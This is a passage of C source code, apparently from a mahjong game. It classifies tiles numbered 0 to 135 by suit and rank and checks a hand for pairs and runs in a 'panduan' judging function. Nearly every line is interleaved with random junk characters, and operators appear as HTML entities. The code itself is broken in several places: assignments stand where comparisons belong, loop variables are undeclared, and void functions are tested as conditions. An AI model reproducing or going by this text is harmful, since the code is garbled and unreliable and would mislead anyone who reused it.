else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)4 s1 J+ a: M/ L
logoo=5;3 |0 j- c6 `: j. S
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
* w$ G& n' [. j( z: ]& f0 L1 s! Klogoo=6;
2 a) j+ w( U' M3 f7 @else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
1 h! p. A' O/ J4 v4 ^4 clogoo=7;
$ o' {( F. q9 z' Z/ Welse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
: ^5 J( a6 r1 E* alogoo=8;- i3 O# Y4 O' g2 |% n! l
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
9 P! A! O0 x) p% J* H% qlogoo=9;4 D9 Z7 G' D) B9 x( V8 y3 v, d
}' U" C- ~' l7 _8 u4 z! [5 P0 v
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)( T5 I/ Z  @- o' N2 C
{* X8 L5 S, G" r' ^" O% w
logo=3;3 }7 J; ~( o& j+ f6 q! g
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
/ P9 S+ [6 r) M! y# t! w' U6 S# Jlogoo=1;0 ?2 h8 H4 _, f- Z6 N
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)9 z& T5 t! U1 R3 }, g2 V- d
logoo=2;; ]5 m5 F  L" Y. ^) ^
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
+ G' V: O: C5 w  g0 t8 ?logoo=3;4 @: t1 y0 ^8 [
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
$ Y5 O! g0 H6 tlogoo=4;) T: t: s+ J9 d, ?- n
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
6 n8 @5 C, i$ C1 N! X5 R, h3 ologoo=5;  i1 d% ]/ q% l: N- t: H% [9 v! W
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)9 e4 W- c/ [. ?% @8 q
logoo=6;# B2 }0 Z; M& D
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
$ x1 a/ D! g) p) v1 X* Tlogoo=7;" N' t; c  z0 Y1 R' D; n
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)0 v/ k6 i% m6 t: q
logoo=8;/ V* F( v* b! b: Q  |5 O+ L
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)# r# J" ?7 E* m, t4 E" j' J
logoo=9;
; I4 a- i( p) ]8 Z/ V+ c8 X2 a}
" {# r8 p, F. `( R( ?+ ?else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)+ p7 j* \- M$ i" ]( m
{
* V; w+ M/ F+ l0 v1 c, ^/ B3 R* jlogo=4;; q' A0 r: P/ @" w* I
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
2 V2 i( R0 X5 m' u# Plogoo=1;! y, o# b$ z# {+ m3 |
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)9 d8 L' T: d$ L/ |
logoo=2;9 R9 U& e0 t; {" |7 D
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116), P. [7 X" R$ q& S; R! I
logoo=3;1 X" S( P' y! I6 g$ t
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
2 p2 b+ \. a" t, `. flogoo=4;
# W/ I% I+ Q% l- V3 f7 U) s, jelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
0 v7 z0 `1 O8 p2 J" f$ X8 C) ~; n9 Vlogoo=5;# _2 m8 q- C& Z- Q4 E
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
. b$ Y" F; N: \4 M4 d" llogoo=6;; b/ \7 S( ]; R8 p6 K
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
# t3 g4 i/ }! t' V: Ulogoo=7;
# O' m2 T& `8 U) U# [) M7 B; S9 \, h& G}  J: }/ O( P# O+ M+ E
while(b&lt;=me.m)% B; c. f/ H, J+ j5 j; K
{
0 t' ?. E9 Q4 d6 o9 Y' J' lif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/* S1 D0 z( A! \/ d2 s  h0 \
{* S7 W9 [* [( }8 Y  n, O( j, z
lg=1;
( k6 h0 Y' S1 `$ j8 I' Vme.pp.d[0]=1;
: d& F% q. s) n6 |: b, g& Qif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
9 H3 P# ~1 ]+ W$ I, [4 D1 I4 ^{' r6 x! D/ f4 U) L  q
lgg=1;( t& c9 y0 Y3 t* H8 @; r
me.pp.d[1]=1;
1 N5 s+ I+ C0 |4 g5 B}: ~4 M. ]6 S) i8 U* B& I
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
; A) I2 B4 M  y* b9 Z& W) f{. d6 z+ C' N9 i2 C. R& @
lgg=2;5 Z/ g3 z# B5 r7 U1 L
me.pp.d[1]=2;
4 E, a# l+ C! |}5 h+ I- C5 W/ }+ K% W
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
9 u9 z( z( P9 P' z{4 k* C+ g# J& F, `& S; b8 z5 ?) d
lgg=3;
) I' ]7 ]# A& y7 W4 ?2 Mme.pp.d[1]=3;
2 j0 V7 P+ ], V5 y' V" |}1 |$ |8 e0 Q0 m1 ?+ H# W! s
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)# W  |6 @; B; n6 D
{
4 G6 I0 p; \% a5 L- m" glgg=4;3 l+ R+ W2 `4 b
me.pp.d[1]=4;
* S. A  E& R" ^$ p5 |}
8 w' R* n+ j% F) G" selse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
. p6 P" z( Q3 c) J+ [. {{
2 A) V* _4 T8 @$ U  `. M4 q! h$ Elgg=5;
/ z8 F' Z( V4 W5 H5 Zme.pp.d[1]=5;8 |: F& v+ l% d* ?% F
}
7 H/ N) G, V0 R0 r6 H4 Helse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)9 _- j  Y9 u2 K9 F& s) J: y
{
0 ^$ B7 {9 T" }- elgg=6;
( T8 @7 d8 I0 a/ n7 {- ?me.pp.d[1]=6;. L/ h9 U. ]5 {- C/ }) d
}
. Q3 E/ T7 x8 p: Z" v+ Felse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)# ^9 F+ y" ?( l, U
{
$ R% G' `8 V1 F& {lgg=7;
) m! ?5 R5 O2 Ime.pp.d[1]=7;) r; M* S1 A3 d: ~% ~
}
- y& X$ n& Y" u% @1 W4 celse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)& a& j: u* r" J+ E0 ^: S. S9 l
{# G! E% ]/ F, {" M% K5 S) u( `- D$ P
lgg=8;7 Z/ m  K$ [" k
me.pp.d[1]=8;
+ Q$ @6 ?8 T& g6 z}- [. x; X( T( I2 b! E: Q1 B' u
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)! M4 [" T. {0 }2 K- d
{& d, G2 L, J6 M% [* m
lgg=9;/ b- z+ x+ X. ^
me.pp.d[1]=9;0 q" j$ i6 i# `5 V* J. @. w9 x
}5 M4 X' G, ~( \3 r5 S, M
}! y' d- l4 n- @: c
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)& Y4 ]8 G* c* z+ ^' }' E
{( m" L# h  ?9 T: \
lg=2;
3 b" T) y7 {# x$ O! Gme.pp.d[0]=2;
) c) g, S2 {8 q% O* D2 l7 J0 eif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
+ ?4 E8 |# B2 U  e2 M: _4 b{9 p& V" X3 U' n6 Z
lgg=1;
0 \7 F3 U$ N* W6 @0 x/ rme.pp.d[1]=1;
2 {- G8 s; o; u& Y}' m" f/ e  F& t- ?
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
+ ?& I! {" X0 v- G; C{
( U1 F6 ?8 Q3 }9 i% U) K  Clgg=2;5 I; d) a) x! S  K; ?  T
me.pp.d[1]=2;
1 p5 T& ^. r% F9 i1 L2 c}
: h2 T7 o/ F+ Q9 w  ^" j# y2 Celse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)* F1 o, q/ W/ R$ M3 b6 R. e* v0 G
{
5 w" w  l7 K5 Z5 A( N3 n  y0 N8 ]lgg=3;" J. D1 _/ F+ O+ v+ H. ]  R+ Q
me.pp.d[1]=3;
3 c4 {5 `7 o7 ?' w. ]/ o}% E7 Y1 j, D8 f+ \; A$ L
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)% ?7 a0 O  ?. u4 b3 ^
{
: q0 K2 r2 x- t3 ]lgg=4;
  q- i4 |# K" `, t* U: s9 fme.pp.d[1]=4;
9 f3 l" `* I% B2 e6 M! y}: a$ ], X! U2 N/ L; r, Y) h
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
1 @# G0 K/ i8 L8 n  G9 O. v# U{1 |8 T; F' s/ T& d* o8 p
lgg=5;
" R0 f9 e& X# Z- E  N7 g9 Cme.pp.d[1]=5;# J( v0 P: @) U* {, B& V' G
}" D1 C1 b/ G6 W( P: y! ]2 r
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
- Z. l0 E1 [  p9 ]  b$ }{2 A; a, K. I2 R. _: K( T
lgg=6;
+ |  T+ v, l" c4 ame.pp.d[1]=6;
$ h1 p8 |( A8 M}8 }. ?$ D, x) \' d/ {
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
+ j$ y: w4 o. ]& _0 L7 v& N{) W( a* k% K; R+ j+ \6 F
lgg=7;* q, y$ q& A+ |' D  [3 Y& V4 W
me.pp.d[1]=7;
" C( m9 Q+ z/ T/ U( i}
1 u0 k9 W( t+ \1 D0 gelse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
$ h6 p' H+ n/ y& B: I$ {{
' T4 [/ i" E# i* u" ulgg=8;
5 `/ i8 W( D% }me.pp.d[1]=8;1 T0 J# ]3 g" v2 m1 _6 J% H( [
}
3 {; D7 l6 p( O: D* B) Q: \% yelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)/ G) o- e& G3 b7 E+ \, Y9 D6 n
{, L' t% ~3 m" _  B8 g& b+ z/ W
lgg=9;
" O- C8 _; W2 R1 n+ r$ Wme.pp.d[1]=9;
  K8 q1 C# A+ z# p6 x- t}
& K) Y* @# k" I# D$ b}
- C% \& U( s4 belse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
4 c' o7 z; f0 F3 H( I{
1 I  Z+ ]6 s9 X' Blg=3;$ ^, m7 y7 ^3 T& X
me.pp.d[0]=3;! a5 Q( S  V+ Z" K) \" Z
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)2 p! o' P+ p# y9 `" B& q' M. N% }
{
, {8 d0 Q1 ?2 C9 d( l/ klgg=1;" U+ y/ h' m( a0 H
me.pp.d[1]=1;; M/ }' }9 ]% t1 b0 }: P, Y$ l
}
. ]$ \, e; v8 y4 Selse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
. R: O- s/ t; {5 F+ Q( e' b{% m$ z6 p. m* V' i) W3 ^7 p
lgg=2;; D( [1 l6 @& ?, t) i- `
me.pp.d[1]=2;/ v. g" e5 `6 j6 i" ~( k! T
}
) r! D/ v) p: h3 `" Relse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
' u/ E8 P, ?" E1 a( d" l1 G{# o. O3 i8 `9 r( \$ u+ ~
lgg=3;
2 S5 c2 b0 l' J1 U: t5 ~me.pp.d[1]=3;6 O) y6 d2 j) g  X( I
}' ~5 \8 C; H9 [2 A5 ~( G
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
3 T$ m0 L8 m7 m# }! d% A' h{+ Q9 i& d+ g/ w
lgg=4;
+ X6 {; K) |/ Y% L: M+ \me.pp.d[1]=4;
: _8 T; _3 t. N4 J$ q7 W. K5 E}& m* u$ P" b" G0 @2 p$ ~
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
$ d& {0 c7 n- `1 n{
9 A8 i9 n& f! B% zlgg=5;
( F' l- W: G" S! |* ?6 Jme.pp.d[1]=5;1 A8 o, Y9 j/ H4 l/ V6 y  E' L% c
}+ `0 x' k2 |2 r! g
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)" m# n" z4 Q) W3 u
{9 c6 `) u- h/ i  K3 g2 a
lgg=6;( X* u9 c2 ]! u+ N
me.pp.d[1]=6;
: {: |; o. i* V& k3 e5 b}( x6 M4 {4 u5 i% L, S: O* u# @
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
* O: h4 `; {# u( x6 A: o{& r5 k4 v% |" A! Y: C! L; M
lgg=7;9 p' i# T# r2 ~+ P6 |2 _# p: g
me.pp.d[1]=7;
& r3 _; t0 w7 S: x2 Q8 x}
# C8 Y$ }. \+ o9 }+ Ielse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
6 J& [, A1 o" i# T. ?7 q8 ~' b& ]+ I! G{
7 g$ [. O3 P* A4 _( ylgg=8;. f' |9 H6 g- e* O6 Y2 T
me.pp.d[1]=8;
5 a' `3 h& y$ m" k; n}1 `7 z  \5 {) j' y, L
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)2 ]% U: m8 g* y9 H# X) \
{
. [; G1 e$ ~' d+ ~' r# j) blgg=9;
6 \4 m% S3 a- w; }8 Nme.pp.d[1]=9;
1 {0 a7 b" T7 a; P}4 L: H* M6 n! R6 a
}" e4 Q- e! s8 F2 s
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
, v4 b' o* l/ W9 O* ^% H{
. E5 ]) O+ A4 _% Jlg=4;
6 s- V6 M0 c6 _, n& v  |; ?7 Jme.pp.d[0]=4;5 {. b- d. f, r) G
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)5 X: e. u6 S' X" b5 X$ g9 `
{
/ Z) n/ U. O7 {- Glgg=1;
% U' A/ H5 r% T, F: q0 gme.pp.d[1]=1;. b( P! ?! W, j, \, B' \
}
! D( J) A8 a0 aelse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)* y  ]- m/ L8 O4 |$ n7 b% k9 {0 q
{- a$ `) `" s1 ]
lgg=2;
% @- j% t/ w# {+ {. s9 Cme.pp.d[1]=2;
; W; e6 X, y) ?) B  P2 w% J( ]}& ~* j8 X1 c! Z4 Q; D
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
* C+ m" U- c* o* q$ L8 Q2 v! m0 w{* }! b" N8 k7 V
lgg=3;' _: m# c' w+ |# M" |
me.pp.d[1]=3;$ p. I, j2 j6 e* {: t' j; P
}3 f$ S% C# c/ W- z( d
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)* B% ]  D/ G, M! N: J1 b
{
# i4 q( H" R0 l* Y! U! `4 [8 Ulgg=4;
4 f; k  i! `  b% |. a/ Xme.pp.d[1]=4;
4 p: R6 ]9 p0 t3 k}
5 U4 k9 Y  T- ]else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)& g( [& H3 z, o; D. I( ^
{
* ~# R9 f/ V* Y2 ]6 B  flgg=5;
( ]1 i0 M9 m. q& Qme.pp.d[1]=5;
7 P! J5 v) M- F) `}
. y4 {" H, T3 j; a% D  W, {1 Welse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
' j) F) o: }) s5 b3 d  g{: j& m  b; ^! b* Z" U
lgg=6;
8 E% V, u1 ?9 `/ G" Vme.pp.d[1]=6;
. V# x8 k% {0 y" o1 F! @  h}
* `# \' ~4 ?. y' B- V# p: Relse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)  R: J( b) b( U) e) V
{
( Y! S3 ]9 O& Nlgg=7;
& B% H" L) j- q/ W; J, Lme.pp.d[1]=7;" `8 H  o5 [" g! X1 r* [
}
- m( ]/ _/ @0 ~8 w+ p}& \+ ]2 A. g$ N2 n# h: w* Z, ~( K
}; `: ~* `+ Q9 ^7 d
}  S2 C  Z3 i0 N6 V( U0 g1 u
void istwo(testt)
5 |& U- T5 i) n. sint testt[];
/ Y( I+ l  v/ e" A/ X7 h/ s# X{ if(testt[0]==testt[1])$ e- a& Q! G2 [
second++;
- R8 x2 l& M# X9 u}
7 O* |7 a% I. n7 Qvoid isthree(testt,n)
' s7 q' h6 T: X! _4 z- Q) Zint testt[],n=0;
/ V1 s9 v: M1 o2 B9 ~' B{ int i,j,flage=0,lianx=0,same=0;; z* c+ `3 z  z4 W2 i
n=n/3;
0 X, Y# {5 O  a/ d8 l* nfor(j=0;j&lt;n;j++)+ }2 u. ^2 H* Y; V7 O( T
{9 [& D7 ?: k& d
for(i=j*3;i&lt;2+j*3;i++)- t# }. n) L) M7 M, F1 L- S
{, e! A* z: e) p
if(testt==testt[i+1])
8 c/ a8 r: Q4 x- _7 H' [same++;
7 }: q2 @+ k/ J5 X# fif(testt[i+1]-testt==1)4 l% `6 _- u+ ^; ^. d( A/ @  ?
lianx++;/ n- P$ z. l* p: [
}! F* q/ W" o2 j6 Y6 R, c( Z3 p
if(same==2)3 F: F  O% {. S
threes++;* Y# g6 Q; F6 e/ h: u! Z6 r
if(lianx==2)
6 e5 ~: |" t# |5 s9 w8 rthrees++;' |6 d4 `0 {% g# b, c6 ]
same=0;" `# o9 V! U9 ^: s7 ~" Y* Y
lianx=0;0 |, y6 F8 E' j' @
}
- c7 e2 ^! R$ r}
; z$ N1 [* g3 ~' k$ ], Lvoid panduan() /*本程序的精髓*/# F8 W2 c- X9 L  J+ L6 h) g
{int data[14];
6 ]; b# ]' F# Y( q; w3 E% r: wint pw[14];- f" y4 y- T  h) Y& l" _
int pt[14];  o0 y1 a$ J/ s! P' K7 [- {
int pi[14];, z' S9 \4 Y$ d/ u. T0 o
int pf[14];
# ~' a+ M6 q+ ]$ @" L2 _, ?5 z, |int test[12];
7 d) t0 D6 l& B- }7 lint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
% K5 b8 w) s) z% f- `for(jj=0;jj&lt;=me.m;jj++)
0 L" R" @" n1 @5 N{8 T+ v6 p3 d2 n  L
if(me.pp[jj].d[0]==1)
4 n7 i2 D: H! O, Q2 D1 V% wdata[jj]=me.pp[jj].d[1];
- m5 I4 {& U, ~& T6 }0 K1 e0 Oif(me.pp[jj].d[0]==2)
; S3 ?1 Y% r, N. B" E) vdata[jj]=me.pp[jj].d[1]+10;
8 S9 N7 Q& M3 \- }6 |if(me.pp[jj].d[0]==3)
# |  m8 a: b9 M# @% I5 V+ J1 N5 b8 cdata[jj]=me.pp[jj].d[1]+20;1 F) j, i& f# d& D
if(me.pp[jj].d[0]==4)
8 b* @' e0 ^' e1 }/ s/ o; V& Vdata[jj]=me.pp[jj].d[1]+30;  e; t0 k0 g. `
}, ^5 ^) [2 [& I! V
if(logo==2): H  o, p. {' U  ~. [0 X6 f+ z
w=logoo+10;
" H2 t7 k& }; G% R- S) U5 dif(logo==3)
2 A& k+ A, j3 t, C$ ~- `( O1 N( V8 Z& gw=logoo+20;
$ z" Q, q+ z. a7 A; bif(logo==4)
$ k! c2 J6 l$ B; vw=logoo+30;  T! o  @0 o: U3 N( [6 d1 i
data[computer.m+1]=w;- Z7 b3 p1 Q- W  I) p  ]
for(mm=0;mm&lt;=computer.m;mm++)
( S4 K. w6 S: @; z- A4 ]for(nn=mm;nn&lt;=computer.m;nn++)
( O2 ?% Y+ p0 o/ v: cif(data[mm]&gt;data[nn+1])6 B" {4 U8 r% B
{% t- d" a* x. J& W
tpp=data[mm];0 {9 k; l0 f( A
data[mm]=data[nn+1];
$ r4 B. u  o* idata[nn+1]=tpp;* M7 K. H+ q7 d( v( k
}2 p. w$ b" B$ }1 I0 _3 [3 u0 @
lp=0;8 t2 H2 M2 }, ?. n1 G+ r
while(lp&lt;=computer.m)
( W* Z" b* C  W, d+ }{ if(data[lp]&lt;10)
: Q; _3 ?6 U! _7 f  I% f% y; N6 wpw[ww++]=data[lp];
: z3 C2 U1 ~+ ~2 \, P8 kif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
/ o! M; |0 K+ ?9 c+ K6 t; upt[tt++]=data[lp];( ]7 E0 T5 [6 h6 K+ ~) n7 @8 q) z
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
. r  W" g; j- s9 epi[ii++]=data[lp];
. [0 I) }8 N6 y' |7 x6 o# aif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)8 q* z7 p; ?, ^5 Z5 I* \; V
pf[ff++]=data[lp];
. d9 k' M+ L7 X7 \/ ~: H3 ilp++;) E- D' B0 j$ O. W8 z( D) _; c
}
2 ?  ]/ }! {( \6 _if(ww==2)
: T  I% d# I5 s  x7 ^* o% V* sistwo(pw);
8 L+ Z# V+ h/ Z) Y0 R. `else if(ww==3)9 x: f  q" [$ I, s
isthree(pw,ww);. t8 F+ R; y; F# i# }
else if(ww==5)  Z! n+ R8 J/ M# _
/*pw[5]原始牌数组,假设已经升序排列*/
  X, h4 r, Y; Q/*test[3]用来放置测试牌的数组*/3 x/ r$ u7 ~, H' m6 g" H: H( `
for(i=0;i&lt;4;i++)
4 ^' u8 B: |$ Z8 n6 W{
" _) N( @' }& A+ J# H2 D6 zfor(j=0;j&lt;2;j++)( \+ e- D, I! `  E' `
{test[j]=pw[i+j];
- ?  |- H+ L2 V! c7 n$ W}
( p8 {* \# b; ?+ |0 ^$ T, ]if(istwo(test))
+ J2 \) D% a0 B+ G1 ~( \/ ^{ ill=0;
+ l5 b& o4 r. l( ^5 x' a3 tfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/& ^- p3 @% A% {7 g5 }% ?& |
{if(kl==i)2 k) i6 D) r% V( j
{
/ ~% C6 T  m  a# {# Hkl=kl+2;
" v. j# C) ]8 x) Kif(kl==5)' S2 ^5 q# C% c8 ], ~, m" s
break;
: A+ x/ Y; r: F}1 C) i: h6 k  x  I% z9 |9 `
test[ill++]=pw[kl];$ J. ^! i5 t/ n  b
}* W6 `3 a" H  R! \+ g5 A* P
isthree(test);
3 w* R3 R  v/ Q' R}
5 @+ ]4 p' U: }3 O+ @}
/ P6 s0 U$ U" q' Y8 I4 Jelse if(ww==6)
  a, w! c  w7 tisthree(pw,ww);
% c( U3 R. I5 B( Helse if(ww==8)
# J6 c( b5 f8 ofor(i=0;i&lt;7;i++)4 @" z0 K8 P2 k8 D3 C; z
{
; r3 M. f1 @/ W- |  e% g) A9 sfor(j=0;j&lt;2;j++)5 c1 h% \. {. E4 m
{test[j]=pw[i+j]; 1 S9 k6 m8 o' D& L1 l) j5 M+ [
}
3 w: z" x* _( t: F1 dif(istwo(test)). H- j6 ?9 R. a
{ ill=0;' E" O" l1 n0 ^. |6 x  _, ]  {: S6 o, K
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/8 n- n* u& |1 q2 D6 u
{if(kl==i)
; U* |: B9 a' X  Z4 G2 Z! z. g{9 Y+ q8 `2 a2 ^/ j# J: ?
kl=kl+2;3 ]) M$ _4 i6 z# ]  c
if(kl==8)4 u9 L' r0 P  W! s" [% L; l; K
break;0 h$ U* w3 a; c2 H9 Q% f
}
. H2 F' X) o7 b# ?test[ill++]=pw[kl];
1 N; m) G+ b4 B6 S5 D0 ]}9 Z2 |2 Y( b2 v
isthree(test,ww-2);
) I- c; B9 f9 P- o2 H# ]( [}
; n" Q) K% A# b6 S' m$ ?& q}
: h- }  j; Z; Relse if(ww==9)
8 ?( k9 r1 K7 U' visthree(pw,ww);4 n3 |$ e# i/ y# o
else if(ww==11)
7 I- S% x8 g, G- T; v# m% W9 E! Vfor(i=0;i&lt;10;i++)5 n6 q, _! I/ m$ M/ }+ a2 Y9 s: f
{
9 ~/ A+ a  j. V; T* j  L. ^0 j8 ffor(j=0;j&lt;2;j++)( |! ^2 z5 y2 X5 U5 @
{test[j]=pw[i+j]; - q+ D0 W& @, E& E" Y* U4 U2 a
}. J# d- m( R! r* f
if(istwo(test))2 a" h. Q( i- `; a: o' \7 b
{ ill=0;# n! n* y0 F8 N  c, Z5 f1 B
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/- ?* `) k6 d7 a- }( D7 G6 r# j
{if(kl==i)
1 e) R7 E+ U1 k, r6 [/ w{
% ?/ X& l6 \8 B9 M. ]+ l5 Kkl=kl+2;
9 v( c* T$ ~. y  C1 Yif(kl==11)8 M' E, z$ q" @9 L. o
break;8 l) q" `7 G0 a' H' Y: n( L9 e( W7 U
}
6 e; u( z: \9 D: Y7 btest[ill++]=pw[kl];  v& X$ Z$ c4 W- B
}$ `% b! E& c2 m
isthree(test,ww-2);
% W$ d5 v* P2 |6 ^$ x}
5 W  z! A5 G/ Q} % t! @, `% W) `) p0 o  y4 I
else if(ww=12)
* Z* q( N$ |7 pisthree(pw,ww);, c( D9 ]) U( ~$ H2 F. v' x; c
else if(ww=14)  P- Q3 X% G  h0 F" I* Z
for(i=0;i&lt;13;i++)$ `' }' L- h, ?
{
7 g$ N0 {$ ^* }) Zfor(j=0;j&lt;2;j++)
2 b; _: ]" E3 N0 T& Q1 L( ~{test[j]=pw[i+j];) U- ^# A% p8 g# [
}
- B2 n* |, X* z) e( y  Jif(istwo(test))2 y. i  f- |2 x8 g+ T- B8 F* j
{ ill=0;
- ^. \( k+ H3 Lfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/. b: f/ \/ g: U0 Q- D- X2 V
{if(kl==i)
6 r/ p& v1 P1 ]! P8 ^" P{& F, y  I! v6 `) {% n/ t
kl=kl+2;
2 M- n$ n- Z$ M" L* O, ?- O. Xif(kl==14)
8 D9 {* L# _: ?% d, q1 Z6 S- sbreak;
. I% F% s2 y; F  Z, z; ^4 O2 A9 h}. g% u1 c" }! s, @
test[ill++]=pw[kl];
3 b: N8 r- E3 v1 Q5 z}
+ \" H4 v0 T( u; Z3 Z3 ]( e  }isthree(test,ww-2); 6 x( N( b# \! o$ Z, N0 E
}1 L3 W3 K, Q* E0 q4 i# \" p5 X- L( V
}
& @+ S7 }* V$ \+ Q* R* Z! @) f% Dif(tt==2). [. P7 c$ B% z
istwo(pt);4 }" z/ `  M2 t0 W/ G
else if(tt==3)4 H% z( `, l; Q) D
isthree(pt,tt);
3 l  |& ?5 v% ]. D, P9 ]9 d8 N. J* ^else if(tt==5)
, ~- }% Q, @& P/ p! d/*pt[5]原始牌数组,假设已经升序排列*/! U4 f" M1 |4 R$ h( Q
/*test[3]用来放置测试牌的数组*/
( }9 a- r  L$ r% _$ u. \: a* tfor(i=0;i&lt;4;i++). d! h) p  _- A$ x; H
{
* T6 h3 W, c3 Afor(j=0;j&lt;2;j++)' N- y- J/ z/ ^+ n* ~
{test[j]=pt[i+j];
4 ^9 S8 T$ U) }# z6 c9 P2 v2 j/ s}
: Z" b4 G  f7 C! }4 gif(istwo(test))$ m* R9 V" Z% @# }9 t. A
{ ill=0;
- k, Y- G+ x) @  |2 P- ~+ ffor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
2 U0 {4 B* e' G$ E* V{if(kl==i)
/ Q8 Q4 s& L" v# L! M' j{
, E( Y6 W4 X5 K# Ykl=kl+2;2 [1 p1 E$ W5 |% J% ?
if(kl==5)
, E: f. [+ r6 r  K0 I' _break;
9 U0 {9 D7 u$ m  b7 [" A6 i}
# ]$ d; D$ N; Z  E! Atest[ill++]=pt[kl];
7 @, _4 Z  d: t% p! u, H8 x}+ N" l1 N, M: D) g7 k- C5 B" d+ [
isthree(test);# [* l: `$ g" w$ l
}
, M. _* O* _9 E& Z. F}
$ `5 Q5 ~+ a* i: l2 U0 M  Jelse if(tt==6)2 V% o+ \2 _  |( m6 ?+ i0 q) T3 }
isthree(pt,tt); # e, _& p) B+ z) [: ^( Q* u  h
else if(tt==8)
8 [" W; ~# O. w% R8 b7 T4 U" G; zfor(i=0;i&lt;7;i++)
2 b" t  f: A9 k3 O{
! }5 a3 F' C$ K9 c. e# l5 Afor(j=0;j&lt;2;j++)
6 d. L' K; A1 y: n2 j; D, f' }{test[j]=pt[i+j];
: u' ?* j; d0 d$ z}
. Z9 o$ P& T0 q# r" [' mif(istwo(test))) i0 |. @* }! n5 \& ]
{ ill=0;$ S$ X! n' n! h# _% |) _5 H4 P% r
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
5 N5 E" d5 _3 }( E) T$ C1 q{if(kl==i)
5 Z+ M4 U- [8 n) g5 V{
7 b6 e0 j- ~9 Xkl=kl+2;6 T% k3 m1 y& O  {! U# u
if(kl==8)* m/ H3 p' A: V5 I% f# ?
break;% Z) s3 M' [* D+ T" y, V" a
}
2 F6 ]. M, W8 xtest[ill++]=pt[kl];9 }: s2 r7 v2 [! |
}
